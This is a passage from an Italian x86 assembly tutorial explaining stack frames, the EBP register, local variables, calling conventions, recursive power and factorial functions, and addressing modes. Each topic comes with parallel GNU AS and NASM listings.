    jnc   end_do_somma     ; l'indicatore di riporto non è attivo, salta
                           ; la somma.
do_somma:
    add   eax,      edx    ; Aggiunge il moltiplicando al risultato.
end_do_somma:
    shl   edx,      1      ; Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol           ; Torna all'inizio del ciclo di moltiplicazione.
```

```
end_do_mol:
    ret                    ; Torna all'istruzione successiva alla chiamata.
```

Come si vede, rispetto alla versione precedente dello stesso programma, il risultato del prodotto, calcolato all'interno della funzione, continua a essere restituito attraverso il registro ***EAX***, ma sarebbe stato possibile accumulare nella pila, prima della chiamata, un valore in più, da considerare poi come il risultato generato dalla funzione.

All'inizio della funzione vengono recuperati i valori che costituiscono gli argomenti della chiamata. Tale operazione viene eseguita attraverso queste istruzioni:

```
    mov   4(%esp), %edx    # Copia il primo parametro in EDX.
    mov   8(%esp), %ecx    # Copia il secondo parametro in ECX.
```

```
    mov   edx,      [esp+4] ; Copia il primo parametro in EDX.
    mov   ecx,      [esp+8] ; Copia il secondo parametro in ECX.
```

L'operando '**4(%esp)**', ovvero '**[esp+4]**', individua l'indirizzo di memoria corrispondente al valore del registro ***ESP***, più quattro byte.

Il registro ***ESP*** è l'indice della pila (*stack pointer*) che punta all'ultimo elemento presente (quello in cima alla pila). Nei sistemi Unix (compresi i sistemi GNU) la pila parte da una posizione elevata della memoria e «cresce» utilizzando indirizzi che invece decrescono. Pertanto, considerato che l'ultimo elemento della pila è l'indirizzo di ritorno, l'elemento immediatamente precedente lo si raggiunge quattro byte dopo (32 bit) e quello ancora precedente si trova otto byte dopo la posizione finale.

Figura 75.169. Situazione della pila in corrispondenza del simbolo '**f_mol**'.

indirizzo di ritorno ← *ESP*
primo parametro ← *ESP + 4 byte*
secondo parametro ← *ESP + 8 byte*
copia di EDX prima della chiamata
copia di ECX prima della chiamata
...

La funzione elabora il prodotto dei valori forniti come argomento e ne lascia il risultato nel registro ***EAX***. Al ritorno, la pila si presenta come si vede nella figura successiva:

Figura 75.170. Situazione della pila immediatamente dopo la chiamata della funzione.

primo parametro	← *ESP*
secondo parametro	← *ESP + 4 byte*
copia di EDX prima della chiamata	← *ESP + 8 byte*
copia di ECX prima della chiamata	
...	

Come si vede, occorre espellere dalla pila i parametri usati per la chiamata. Dal momento che non c'è bisogno di rileggere il loro valore, ci si limita a decrementare l'indice della pila, ovvero si incrementa il valore del registro ***ESP*** a gruppi di quattro byte alla volta.

Figura 75.171. Situazione della pila dopo l'espulsione dei parametri della chiamata.

copia di EDX prima della chiamata	← *ESP*
copia di ECX prima della chiamata	
...	

Naturalmente, considerato che la funzione non altera i valori accumulati nella pila, la chiamata potrebbe essere semplificata un po':

```
bp1:
    push  %ecx  # Salva ECX, inserendolo come secondo parametro nella pila.
    push  %edx  # Salva EDX, inserendolo come primo parametro nella pila.
    call  f_mol # Esegue la moltiplicazione: EAX = EDX * ECX
    pop   %edx  # Recupera EDX dalla pila.
    pop   %ecx  # Recupera ECX dalla pila.
bp2:
```

```
bp1:
    push  ecx   ; Salva ECX, inserendolo come secondo parametro nella pila.
    push  edx   ; Salva EDX, inserendolo come primo parametro nella pila.
    call  f_mol ; Esegue la moltiplicazione: EAX = EDX * ECX
    pop   edx   ; Recupera EDX dalla pila.
    pop   ecx   ; Recupera ECX dalla pila.
bp2:
```

75.10.4 Utilizzo del registro «EBP»

Perché una funzione possa gestire delle variabili «locali», ovvero tali da avere un campo di azione limitato alla funzione stessa, senza lasciare tracce al ritorno dalla chiamata, si deve usare la pila aggiungendovi altri elementi. Questo fatto complica l'accesso ai parametri della chiamata, perché durante l'esecuzione delle istruzioni della funzione, l'indice della pila può spostarsi. A questo proposito, all'inizio di una funzione, conviene conservare una copia del registro ***ESP*** in un altro registro apposito: ***EBP*** (*base pointer*). In pratica, l'indice contenuto in ***EBP*** dovrebbe essere sempre usato per rappresentare la posizione in cui si trova l'indirizzo di ritorno della funzione in cui ci si trova.

Viene riproposto il programma già presentato nella sezione precedente, con le semplificazioni già descritte a proposito della chiamata e con le modifiche relative all'uso del registro ***EBP***.

```
# op1 * op2
#
.section .data
op1:    .byte   0x07, 0x00 # little endian = 0x0005  intero senza segno.
op2:    .byte   0x03, 0x00 # little endian = 0x0003  intero senza segno.
#
.section .text
.globl _start
#------------------------------------------------------------------------
_start:
    movzx op1,      %edx    # Moltiplicando.
    movzx op2,      %ecx    # Moltiplicatore.
    mov   $0,       %eax    # Risultato.
bp1:
    push  %ebp              # Salva il registro EBP prima della chiamata.
    push  %ecx              # Inserisce il moltiplicando nella pila.
    push  %edx              # Inserisce il moltiplicatore nella pila.
    call  f_mol             # Esegue la moltiplicazione: EAX = EDX * ECX
    pop   %edx              # Recupera il moltiplicando dalla pila.
    pop   %ecx              # Recupera il moltiplicatore dalla pila.
    pop   %ebp              # Recupera il registro EBP dopo la chiamata.
bp2:
    mov   %eax,     %ebx    # Restituisce il valore del prodotto,
    mov   $1,       %eax    # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
#------------------------------------------------------------------------
# Moltiplicazione di due numeri interi.
# f_mol (a, b) => EAX
# EAX = a * b
#
f_mol:
    mov   %esp,     %ebp    # Copia ESP in EBP.
    mov   4(%ebp), %edx     # Copia il primo parametro in EDX.
    mov   8(%ebp), %ecx     # Copia il secondo parametro in ECX.
    mov   $0,       %eax    # Azzera EAX per sicurezza.
    #
```

```
do_mol:
    cmp   $0,       %ecx    # Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol        # deve terminare.
    shr   $1,       %ecx    # Fa scorrere a destra il moltiplicatore e se
    jnc   end_do_somma      # l'indicatore di riporto non è attivo, salta
                            # la somma.
do_somma:
    add   %edx,     %eax    # Aggiunge il moltiplicando al risultato.
end_do_somma:
    shl   $1,       %edx    # Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol            # Torna all'inizio del ciclo di moltiplicazione.
end_do_mol:
    mov   %ebp,     %esp    # Ripristina ESP, espellendo le variabili locali.
    ret                     # Torna all'istruzione successiva alla chiamata.
```

```
; op1 * op2
;
section .data
op1:    dw      0x0007      ; Intero senza segno.
op2:    dw      0x0003      ; Intero senza segno.
;
section .text
global _start
;------------------------------------------------------------------------
_start:
    movzx edx, word [op1]   ; Moltiplicando.
    movzx ecx, word [op2]   ; Moltiplicatore.
bp1:
    push  ebp               ; Salva il registro EBP prima della chiamata.
    push  ecx               ; Inserisce il moltiplicando nella pila.
    push  edx               ; Inserisce il moltiplicatore nella pila.
    call  f_mol             ; Esegue la moltiplicazione: EAX = EDX * ECX
    pop   edx               ; Recupera il moltiplicando dalla pila.
    pop   ecx               ; Recupera il moltiplicatore dalla pila.
    pop   ebp               ; Recupera il registro EBP dopo la chiamata.
bp2:
    mov   ebx,      eax     ; Restituisce il valore del prodotto,
    mov   eax,      1       ; ammesso che sia abbastanza piccolo
    int   0x80              ; da poter essere rappresentato come
                            ; valore di uscita.
;------------------------------------------------------------------------
; Moltiplicazione di due numeri interi.
; f_mol (a, b) => EAX
; EAX = a * b
;
f_mol:
    mov   ebp,      esp     ; Copia ESP in EBP.
    mov   edx,      [ebp+4] ; Copia il primo parametro in EDX.
    mov   ecx,      [ebp+8] ; Copia il secondo parametro in ECX.
    mov   eax,      0       ; Azzera EAX per sicurezza.
```

```
    ;
do_mol:
    cmp   ecx,      0       ; Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol        ; deve terminare.
    shr   ecx,      1       ; Fa scorrere a destra il moltiplicatore e se
    jnc   end_do_somma      ; l'indicatore di riporto non è attivo, salta
                            ; la somma.
do_somma:
    add   eax,      edx     ; Aggiunge il moltiplicando al risultato.
end_do_somma:
    shl   edx,      1       ; Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol            ; Torna all'inizio del ciclo di moltiplicazione.
end_do_mol:
    mov   esp,      ebp     ; Ripristina ESP, espellendo le variabili locali.
    ret                     ; Torna all'istruzione successiva alla chiamata.
```

Nei listati appena mostrati si vede che ***EBP*** viene salvato prima della chiamata e ripristinato successivamente. Esiste però un altro modo, più diffuso, per cui il registro ***EBP*** va salvato nella pila all'inizio della funzione, con le conseguenze che ciò comporta:

```
…
bp1:
    push  %ecx              # Inserisce il moltiplicando nella pila.
    push  %edx              # Inserisce il moltiplicatore nella pila.
    call  f_mol             # Esegue la moltiplicazione: EAX = EDX * ECX
    pop   %edx              # Recupera il moltiplicando dalla pila.
    pop   %ecx              # Recupera il moltiplicatore dalla pila.
bp2:
…
f_mol:
    push   %ebp             # Salva il registro EBP.
bp3:
    mov   %esp,     %ebp    # Copia ESP in EBP.
    mov   8(%ebp),  %edx    # Copia il primo parametro in EDX.
    mov   12(%ebp), %ecx    # Copia il secondo parametro in ECX.
    mov   $0,       %eax    # Azzera EAX per sicurezza.
…
end_do_mol:
    mov   %ebp,     %esp    # Ripristina ESP, espellendo le variabili locali.
    pop   %ebp              # Riporta il registro EBP allo stato precedente.
    ret                     # Torna all'istruzione successiva alla chiamata.
```

```
…
bp1:
    push  ecx               ; Inserisce il moltiplicando nella pila.
    push  edx               ; Inserisce il moltiplicatore nella pila.
    call  f_mol             ; Esegue la moltiplicazione: EAX = EDX * ECX
    pop   edx               ; Recupera il moltiplicando dalla pila.
    pop   ecx               ; Recupera il moltiplicatore dalla pila.
```

```
bp2:
…
f_mol:
    push  ebp                 ; Salva il registro EBP.
bp3:
    mov   ebp,      esp      ; Copia ESP in EBP.
    mov   edx,      [ebp+8]  ; Copia il primo parametro in EDX.
    mov   ecx,      [ebp+12] ; Copia il secondo parametro in ECX.
    mov   eax,      0        ; Azzera EAX per sicurezza.
…
end_do_mol:
    mov   esp,      ebp      ; Ripristina ESP, espellendo le variabili locali.
    pop   ebp                ; Ripristina il registro EBP.
    ret                      ; Torna all'istruzione successiva alla chiamata.
```

In tal caso, in corrispondenza del simbolo '**`bp3`**', la pila ha i contenuti che sono schematizzati nella figura successiva.

Figura 75.178. Situazione della pila in corrispondenza del simbolo '**`bp3`**'.

75.10.5 Allocazione dello spazio per le variabili locali e preservazione dei registri

Come accennato nella sezione precedente, una volta salvato il valore di ***EBP*** nella pila e assegnatovi il valore di ***ESP***, le variabili locali possono essere accumulate nella pila quando servono. Tuttavia, di solito si preferisce definire subito lo spazio utilizzato dalle variabili locali. Per esempio, supponendo di averne due, la pila potrebbe mostrarsi come nella figura successiva.

Figura 75.179. Situazione della pila, all'interno di una funzione con due variabili locali.

L'insieme degli elementi della pila, costituito dai parametri della funzione fino alle variabili locali, è noto come *stack frame*. Spesso, le «convenzioni di chiamata» prescrivono che siano le funzioni stesse a preservare lo stato precedente dei registri, pertanto, di solito, dopo la definizione dello spazio usato dalle variabili locali, si salvano nella pila anche tutti i registri principali, eventualmente con l'aiuto dell'istruzione '**`PUSHA`**'. I listati successivi mostrano una modifica ulteriore del programma già utilizzato nelle sezioni precedenti.

```
# op1 * op2
#
.section .data
op1:    .byte   0x07, 0x00    # little endian = 0x0005  intero senza segno.
op2:    .byte   0x03, 0x00    # little endian = 0x0003  intero senza segno.
#
.section .text
.globl _start
#----------------------------------------------------------------------
_start:
    movzx op1,      %edx    # Moltiplicando.
    movzx op2,      %ecx    # Moltiplicatore.
    mov   $0,       %eax    # Risultato.
bp1:
    push  %ecx              # Inserisce il moltiplicando nella pila.
    push  %edx              # Inserisce il moltiplicatore nella pila.
    call  f_mol             # Esegue la moltiplicazione: EAX = EDX * ECX
    add   $8, %esp          # Espelle i parametri di chiamata.
bp2:
    mov   %eax,     %ebx    # Restituisce il valore del prodotto,
    mov   $1,       %eax    # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
#----------------------------------------------------------------------
# Moltiplicazione di due numeri interi.
# f_mol (a, b) => EAX
# EAX = a * b
#
```

```
f_mol:
    push  %ebp              # Salva il registro EBP.
    mov   %esp,    %ebp     # Copia ESP in EBP.
    sub   $4,      %esp     # Crea lo spazio per una variabile locale.
    pusha                   # Salva i registri principali.
    #
    mov   8(%ebp), %edx     # Copia il primo parametro in EDX.
    mov   12(%ebp), %ecx    # Copia il secondo parametro in ECX.
    mov   $0,      %eax     # Azzera EAX per sicurezza.
    #
do_mol:
    cmp   $0,      %ecx     # Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol        # deve terminare.
    shr   $1,      %ecx     # Fa scorrere a destra il moltiplicatore e se
    jnc   end_do_somma      # l'indicatore di riporto non è attivo, salta
                            # la somma.
do_somma:
    add   %edx,    %eax     # Aggiunge il moltiplicando al risultato.
end_do_somma:
    shl   $1,      %edx     # Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol            # Torna all'inizio del ciclo di moltiplicazione.
end_do_mol:
    mov   %eax,   -4(%ebp)  # Copia EAX nella variabile locale prevista.
    popa                    # Ripristina i registri principali.
    mov  -4(%ebp), %eax     # Rimette a posto il valore di EAX che deve
                            # essere restituito.
    mov   %ebp,    %esp     # Ripristina ESP, espellendo le variabili locali.
    pop   %ebp              # Riporta il registro EBP allo stato precedente.
    ret                     # Torna all'istruzione successiva alla chiamata.
```

```
; op1 * op2
;
section .data
op1:    dw      0x0007      ; Intero senza segno.
op2:    dw      0x0003      ; Intero senza segno.
;
section .text
global _start
;------------------------------------------------------------------------
_start:
    movzx edx, word [op1]   ; Moltiplicando.
    movzx ecx, word [op2]   ; Moltiplicatore.
bp1:
    push  ecx               ; Inserisce il moltiplicando nella pila.
    push  edx               ; Inserisce il moltiplicatore nella pila.
    call  f_mol             ; Esegue la moltiplicazione: EAX = EDX * ECX
    add esp,        8       ; Espelle i parametri della chiamata.
bp2:
    mov   ebx,      eax     ; Restituisce il valore del prodotto,
    mov   eax,      1       ; ammesso che sia abbastanza piccolo
```

```
    int   0x80              ; da poter essere rappresentato come
                            ; valore di uscita.
;-------------------------------------------------------------------------
; Moltiplicazione di due numeri interi.
; f_mol (a, b) => EAX
; EAX = a * b
;
f_mol:
    push  ebp                ; Salva il registro EBP.
    mov   ebp,      esp      ; Copia ESP in EBP.
    sub   esp,      4        ; Crea lo spazio per una variabile locale.
    pusha                    ; Salva i registri principali.
    ;
    mov   edx,      [ebp+8]  ; Copia il primo parametro in EDX.
    mov   ecx,      [ebp+12] ; Copia il secondo parametro in ECX.
    mov   eax,      0        ; Azzera EAX per sicurezza.
    ;
do_mol:
    cmp   ecx,      0        ; Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol         ; deve terminare.
    shr   ecx,      1        ; Fa scorrere a destra il moltiplicatore e se
    jnc   end_do_somma       ; l'indicatore di riporto non è attivo, salta
                             ; la somma.
do_somma:
    add   eax,      edx      ; Aggiunge il moltiplicando al risultato.
end_do_somma:
    shl   edx,      1        ; Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol             ; Torna all'inizio del ciclo di moltiplicazione.
end_do_mol:
    mov   [ebp-4],  eax      ; Copia EAX nella variabile locale prevista.
    popa                     ; Ripristina i registri principali.
    mov   eax,      [ebp-4]  ; Rimette a posto il valore di EAX che deve
                             ; essere restituito.
    mov   esp,      ebp      ; Ripristina ESP, espellendo le variabili locali.
    pop   ebp                ; Ripristina il registro EBP.
    ret                      ; Torna all'istruzione successiva alla chiamata.
```

Come si vede, avendo usato la coppia di istruzioni '**`PUSHA`**', '**`POPA`**', alla fine occorre prendersi cura del risultato che è già disponibile nel registro ***EAX***: infatti viene salvato prima nello spazio riservato per la variabile locale, quindi vengono ripristinati tutti i registri (tutti eccetto '**`ESP`**') e ancora viene ripristinato ***EAX***, che deve trasmettere il valore alla chiamata.

A questo punto occorre sapere che le istruzioni seguenti possono essere sostituite dall'istruzione '**`ENTER`**', dove ***n*** rappresenta una quantità di byte:

```
    push  %ebp
    mov   %esp, %ebp
    sub   $n, %esp
```

```
push  ebp
mov   ebp, esp
sub   esp, n
```

Per la precisione, il rimpiazzo avviene come nei due brani seguenti: si osservi che in questo caso, gli attributi di '**ENTER**' non vengono invertiti nelle due sintassi.

```
enter $n, $0
```

```
enter n, 0
```

Le istruzioni che invece va a rimpiazzare '**LEAVE**' sono quelle seguenti:

```
mov   %ebp, %esp
pop   %ebp
```

```
mov   esp, ebp
pop   ebp
```

Logicamente, '**LEAVE**' non richiede operandi, quindi si usa nello stesso modo nelle due sintassi:

```
leave
```

75.10.6 Convenzioni di chiamata

Da quanto descritto si comprende che si possono usare diversi modi per chiamare una funzione, ma anche se esistono delle modalità equivalenti, occorre definire una convenzione. In generale, per chi scrive programmi in un sistema compatibile con la tradizione Unix, la cosa migliore è uniformarsi alle convenzioni di chiamata del linguaggio C (precisamente servono quelle usate dal proprio compilatore), in modo da poter mettere assieme programmi scritti in parte in linguaggio assemblatore e in parte anche in C. Di solito, le regole per chi scrive funzioni in linguaggio assemblatore sono sostanzialmente quelle dell'ultimo esempio mostrato nella sezione precedente:

- i parametri vanno messi sulla pila in ordine inverso, in modo tale che prima della chiamata appaia in cima il primo parametro;
- all'inizio della funzione, occorre accumulare nella pila il contenuto di ***EBP***, che deve essere ripristinato immediatamente prima del ritorno;
- all'interno della funzione si accede ai parametri contenuti nella pila, senza estrarli dalla stessa e senza modificarli, perché le modifiche non verrebbero considerate;
- i registri principali devono essere preservati (ogni compilatore ha la sua politica e non si può dire, in generale, quali siano);

- la funzione deve restituire il risultato della sua elaborazione attraverso ***EAX***, oppure, se si richiede una dimensione più grande, deve essere usata la coppia ***EDX***:***EAX***.[10]

Nel caso si vogliano utilizzare funzioni scritte in linguaggio C, all'interno di un programma scritto in linguaggio assemblatore, occorre verificare quali registri le funzioni scritte in C non preservano (oltre alla coppia ***EDX***:***EAX***, usata per restituire il risultato della chiamata). In generale, si può considerare che le funzioni scritte in linguaggio C potrebbero alterare i registri ***EAX***, ***ECX*** e ***EDX***. Se però si vuole avere la certezza assoluta sul contenuto dei registri dopo la chiamata di una funzione realizzata con un altro linguaggio, conviene organizzarsi salvando tutti quelli che si stanno utilizzando prima della chiamata e ripristinandoli subito dopo, come in parte è stato mostrato.

75.10.7 Nota sugli array «locali»

Generalmente, un array viene gestito attraverso uno spazio di memoria condiviso da tutto il programma, dove le funzioni che devono manipolarlo ricevono l'indirizzo di questo, tra i parametri della chiamata. Tuttavia, nel caso si volesse gestire, all'interno di una funzione, un array locale, il cui contenuto viene abbandonato alla conclusione della stessa, l'unico modo per ottenere ciò è attraverso la pila dei dati. In pratica, come per le variabili locali scalari, andrebbe riservato un certo spazio aumentando la dimensione della pila in modo adeguato, per poi scandire tale spazio con indici appropriati.

75.11 Esempi di funzioni ricorsive

Vengono mostrati alcuni esempi molto semplici in cui si applica la ricorsione, adatti alla compilazione con GNU AS e NASM.

75.11.1 Elevamento a potenza

Viene proposta una soluzione ricorsiva del problema dell'elevamento a potenza. In pratica, x^y è pari a $x \cdot x^{(y-1)}$, ma in particolare: se x è pari a zero, il risultato è zero; altrimenti, se y è pari a zero, il risultato è uno.

All'interno della funzione '**`f_pwr`**' viene riservato lo spazio per una sola variabile locale, che serve a conservare il valore di ***EAX***, per poi recuperarlo quando si ripristinano tutti i registri, prima della conclusione della funzione stessa.

```
# op1 ^ op2
#
.section .data
op1:    .int    3
op2:    .int    4
#
.section .text
.globl _start
#
# Main.
#
_start:
```

```
    mov   op1, %esi         # Base.
    mov   op2, %edi         # Esponente.
bp1:
    push  %edi              # f_pwr (ESI, EDI) ==> EAX
    push  %esi              #
    call  f_pwr             #
    add   $8, %esp          #
bp2:
    mov   %eax, %ebx        # Restituisce il valore della potenza,
    mov   $1, %eax          # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
#
# Potenza di due numeri interi senza segno.
# f_pwr (a, b) ==> EAX
# EAX = a ^ b
#
f_pwr:
    enter $4, $0
    pusha
    #
    mov   8(%ebp), %esi     # Base.
    mov   12(%ebp), %edi    # Esponente.
    #
    cmp   $0, %esi          # Se la base è pari a 0, restituisce 0.
    jz    f_pwr_end_0       #
    #
    cmp   $0, %edi          # Se l'esponente è pari a 0, restituisce 1.
    jz    f_pwr_end_1       #
    #
    dec   %edi              # Riduce l'esponente di una unità.
    push  %edi              # f_pwr (ESI, EDI) ==> EAX
    push  %esi              #
    call  f_pwr             #
    add   $8, %esp          #
    mul   %esi              # EDX:EAX = EAX*ESI
    mov   %eax, -4(%ebp)    # Salva il risultato.
    jmp   f_pwr_end_X       # Conclude la funzione.
    #
f_pwr_end_0:
    popa                    # Conclude la funzione con EAX = 0.
    mov $0, %eax            #
    leave                   #
    ret                     #
f_pwr_end_1:
    popa                    # Conclude la funzione con EAX = 1.
    mov $1, %eax            #
```

```
    leave                   #
    ret                     #
f_pwr_end_X:
    popa                    # Conclude la funzione con EAX pari
    mov -4(%ebp), %eax      # al valore salvato nella variabile
    leave                   # locale.
    ret                     #
```

```
; op1 ^ op2
;
section .data
op1:    dd      3
op2:    dd      4
;
section .text
global _start
;
; Main.
;
_start:
    mov   esi, [op1]        ; Base.
    mov   edi, [op2]        ; Esponente.
bp1:
    push  edi               ; f_pwr (ESI, EDI) ==> EAX
    push  esi               ;
    call  f_pwr             ;
    add   esp, 8            ;
bp2:
    mov   ebx, eax          ; Restituisce il valore della potenza,
    mov   eax, 1            ; ammesso che sia abbastanza piccolo
    int   0x80              ; da poter essere rappresentato come
                            ; valore di uscita.
;
; Potenza di due numeri interi senza segno.
; f_pwr (a, b) ==> EAX
; EAX = a ^ b
;
f_pwr:
    enter 4,0
    pusha
    ;
    mov   esi, [ebp+8]      ; Base.
    mov   edi, [ebp+12]     ; Esponente.
    ;
    cmp   esi, 0            ; Se la base è pari a 0, restituisce 0.
    jz    f_pwr_end_0       ;
    ;
```

```
    cmp   edi, 0           ; Se l'esponente è pari a 0, restituisce 1.
    jz    f_pwr_end_1      ;
    ;
    dec   edi              ; Riduce l'esponente di una unità.
    push  edi              ; f_pwr (ESI, EDI) ==> EAX
    push  esi              ;
    call  f_pwr            ;
    add   esp, 8           ;
    mul   esi              ; EDX:EAX = EAX*ESI
    mov   [ebp-4], eax     ; Salva il risultato.
    jmp   f_pwr_end_X      ; Conclude la funzione.
    ;
f_pwr_end_0:
    popa                   ; Conclude la funzione con EAX = 0.
    mov eax, 0             ;
    leave                  ;
    ret                    ;
f_pwr_end_1:
    popa                   ; Conclude la funzione con EAX = 1.
    mov eax, 1             ;
    leave                  ;
    ret                    ;
f_pwr_end_X:
    popa                   ; Conclude la funzione con EAX pari
    mov eax, [ebp-4]       ; al valore salvato nella variabile
    leave                  ; locale.
    ret                    ;
```

75.11.2 Fattoriale

Viene proposta una soluzione ricorsiva del problema del fattoriale. In pratica, $x!$ è pari a $x \cdot (x-1)!$, ma in particolare: se x è pari a 1, il risultato è uno.

All'interno della funzione '**`f_fact`**' viene riservato lo spazio per una sola variabile locale, che serve a conservare il valore di ***EAX***, per poi recuperarlo quando si ripristinano tutti i registri, prima della conclusione della funzione stessa.

```
# op1!
#
.section .data
op1:    .int    5
#
.section .text
.globl _start
#
# Main.
#
_start:
```

```
    mov   op1, %esi         # ESI contiene il valore di cui si vuole
                            # calcolare il fattoriale.
bp1:
    push  %esi              # f_fact (ESI) ==> EAX
    call  f_fact            #
    add   $4, %esp          #
bp2:
    mov   %eax, %ebx        # Restituisce il valore del fattoriale,
    mov   $1, %eax          # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
#
# Fattoriale di un numero senza segno.
# f_fatt (a) ==> EAX
# EAX = a!
#
f_fact:
    enter $4, $0
    pusha
    #
    mov   8(%ebp), %edi     # Valore di cui calcolare il fattoriale.
    #
    cmp   $1, %edi          # Il fattoriale di 1 è 1.
    jz    f_fact_end_1      #
    #
    mov   %edi, %esi        # ESI contiene il valore di cui si vuole
    dec   %esi              # il fattoriale, ridotto di una unità.
    #
    push  %esi              # f_fact (ESI) ==> EAX
    call  f_fact            #
    add   $4, %esp          #
    mul   %edi              # EDX:EAX = EAX*EDI
    mov   %eax, -4(%ebp)    # Salva il risultato.
    jmp   f_fact_end_X      # Conclude la funzione.
    #
f_fact_end_1:
    popa                    # Conclude la funzione con EAX = 1.
    mov $1, %eax            #
    leave                   #
    ret                     #
f_fact_end_X:
    popa                    # Conclude la funzione con EAX pari
    mov -4(%ebp), %eax      # al valore salvato nella variabile
    leave                   # locale.
    ret                     #
```

```
; op1!
;
section .data
op1:    dd      5
;
section .text
global _start
;
; Main.
;
_start:
    mov   esi, [op1]       ; ESI contiene il valore di cui si vuole
                           ; calcolare il fattoriale.
bp1:
    push  esi              ; f_fact (ESI) ==> EAX
    call  f_fact           ;
    add   esp, 4           ;
bp2:
    mov   ebx, eax         ; Restituisce il valore del fattoriale,
    mov   eax, 1           ; ammesso che sia abbastanza piccolo
    int   0x80             ; da poter essere rappresentato come
                           ; valore di uscita.
;
; Fattoriale di un numero senza segno.
; f_fatt (a) ==> EAX
; EAX = a!
;
f_fact:
    enter 4,0
    pusha
    ;
    mov   edi, [ebp+8]     ; Valore di cui calcolare il fattoriale.
    ;
    cmp   edi, 1           ; Il fattoriale di 1 è 1.
    jz    f_fact_end_1     ;
    ;
    mov   esi, edi         ; ESI contiene il valore di cui si vuole
    dec   esi              ; il fattoriale, ridotto di una unità.
    ;
    push  esi              ; f_fact (ESI) ==> EAX
    call  f_fact           ;
    add   esp, 4           ;
    mul   edi              ; EDX:EAX = EAX*EDI
    mov   [ebp-4], eax     ; Salva il risultato.
    jmp   f_fact_end_X     ; Conclude la funzione.
    ;
f_fact_end_1:
```

```
    popa                    ; Conclude la funzione con EAX = 1.
    mov eax, 1              ;
    leave                   ;
    ret                     ;
f_fact_end_X:
    popa                    ; Conclude la funzione con EAX pari
    mov eax, [ebp-4]        ; al valore salvato nella variabile
    leave                   ; locale.
    ret                     ;
```

75.12 Indirizzamento dei dati

In generale, con l'architettura x86 ci si preoccupa di definire il modo in cui fare riferimento ai dati nel sorgente in linguaggio assemblatore (incluso ciò che riguarda la pila), mentre per il riferimento alle istruzioni si usano simboli che il compilatore traduce normalmente in indirizzi relativi (il «dislocamento»). Viene mostrata una tabella che riepiloga i vari modi con cui è possibile fare riferimento ai dati, secondo le due sintassi più comuni.

Tabella 75.193. Indirizzamento dei dati.

Esempio AT&T	Esempio Intel	Descrizione

`$21`
`$0x15`
`$025`
`$0b10101`
	`21`
	`0x15`
	`025`
	`10101b`
		Si sta facendo riferimento al numero 21_{10} in modo letterale.

`$`***nome_simbolo***	***nome_simbolo***	Si fa riferimento all'indirizzo corrispondente al simbolo, ovvero al numero che costituisce tale indirizzo.
nome_simbolo	`[`***nome_simbolo***`]`	Si fa riferimento all'area di memoria che inizia in corrispondenza del simbolo.
nome_simbolo*±*n	`[`***nome_simbolo*±*n***`]`	Si fa riferimento all'area di memoria che inizia in corrispondenza del simbolo, ±***n*** byte.
`%eax`	`eax`	Si sta facendo riferimento al registro ***EAX***, in qualità di variabile.
`(%eax)`	`[eax]`	Si sta facendo riferimento all'area di memoria che inizia a partire dall'indirizzo contenuto nel registro ***EAX***
±***n***`(%eax)`	`[eax±`***n***`]`	Si sta facendo riferimento all'area di memoria che inizia a partire dall'indirizzo contenuto nel registro ***EAX***, ±***n*** byte.
nome_simbolo`(%eax)`	`[eax+`***nome_simbolo***`]`	Si sta facendo riferimento all'area di memoria che inizia a partire dall'indirizzo a cui fa riferimento il simbolo, più il contenuto del registro ***EAX***.

Esempio AT&T	Esempio Intel	Descrizione
`(`***nome_simbolo***±***n***`)(%eax)`	`[eax+`***nome_simbolo***±***n***`]`	Si sta facendo riferimento all'area di memoria che inizia a partire dall'indirizzo a cui fa riferimento il simbolo, più il contenuto del registro ***EAX***, ±***n*** byte.
`(%eax,%ebx,`***n***`)`	`[eax+%ebx*`***n***`]`	Si sta facendo riferimento all'area di memoria che inizia a partire da ***EAX***+(***EBX***·***n***).
±***m***`(%eax,%ebx,`***n***`)`	`[eax+%ebx*`***n***±***m***`]`	Si sta facendo riferimento all'area di memoria che inizia a partire da (***EAX***+(***EBX***·***n***))±***m***.

75.12.1 Gestione di array

Per comprendere l'uso della forma più complessa di indirizzamento, si prenda l'esempio seguente, in cui appare un simbolo, denominato '**`record`**', che descrive una sequenza di valori, contenenti anche ciò che si vuole considerare una matrice di numeri.

```
#
.section .data
record:          .ascii "matrice"
                 .int    0,  1,  2,  3,  4,  5,  6,  7,  8,  9
                 .int   10, 11, 12, 13, 14, 15, 16, 17, 18, 19
                 .int   20, 21, 22, 23, 24, 25, 26, 27, 28, 29
                 .int   30, 31, 32, 33, 34, 35, 36, 37, 38, 39
                 .int   40, 41, 42, 43, 44, 45, 46, 47, 48, 49
                 .int   50, 51, 52, 53, 54, 55, 56, 57, 58, 59
                 .int   60, 61, 62, 63, 64, 65, 66, 67, 68, 69
                 .int   70, 71, 72, 73, 74, 75, 76, 77, 78, 79
                 .int   80, 81, 82, 83, 84, 85, 86, 87, 88, 89
                 .int   90, 91, 92, 93, 94, 95, 96, 97, 98, 99
dimensione_int:  .int    4      # 32 bit
dimensione_riga: .int   40      # 4 * 10 byte
riga:            .int    3      # da 0 a 9
colonna:         .int    5      # da 0 a 9
#
.section .text
.globl _start
#
_start:
    mov   riga, %eax                      # Legge le coordinate di riga e
    mov   colonna, %ecx                   # colonna, copiandole in EAX e ECX.
    mull  dimensione_riga                 # EDX:EAX := EAX * 40.
    mov   (record+7)(%eax,%ecx,4), %ebx # EBX := array[riga,colonna].
bp1:
    mov   $1, %eax                        # Restituisce il valore trovato
    int   $0x80                           # nella matrice.
```

```
;
section .data
```

```
record:           db      "matrice"
                  dd       0,  1,  2,  3,  4,  5,  6,  7,  8,  9
                  dd      10, 11, 12, 13, 14, 15, 16, 17, 18, 19
                  dd      20, 21, 22, 23, 24, 25, 26, 27, 28, 29
